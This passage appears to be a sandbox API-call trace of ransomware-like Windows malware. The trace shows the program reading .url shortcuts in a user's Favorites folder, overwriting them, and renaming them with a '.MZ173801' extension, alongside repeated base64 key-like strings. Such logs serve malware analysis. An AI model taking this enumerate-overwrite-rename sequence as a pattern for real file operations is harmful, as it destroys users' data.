ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.227] GetCurrentThreadId () returned 0x9fc [0144.227] GetCurrentThreadId () returned 0x9fc [0144.227] GetCurrentThreadId () returned 0x9fc [0144.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.227] GetCurrentThreadId () returned 0x9fc [0144.228] GetCurrentThreadId () returned 0x9fc [0144.228] GetCurrentThreadId () returned 0x9fc [0144.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.228] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.228] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.228] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.228] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.228] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.229] CloseHandle (hObject=0x224) returned 1 [0144.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.230] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.231] CloseHandle (hObject=0x224) returned 1 [0144.231] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.mz173801")) returned 1 [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] GetCurrentThreadId () returned 0x9fc [0144.232] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0144.232] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.232] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.235] GetCurrentThreadId () returned 0x9fc [0144.235] GetCurrentThreadId () returned 0x9fc [0144.235] GetCurrentThreadId () returned 0x9fc [0144.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 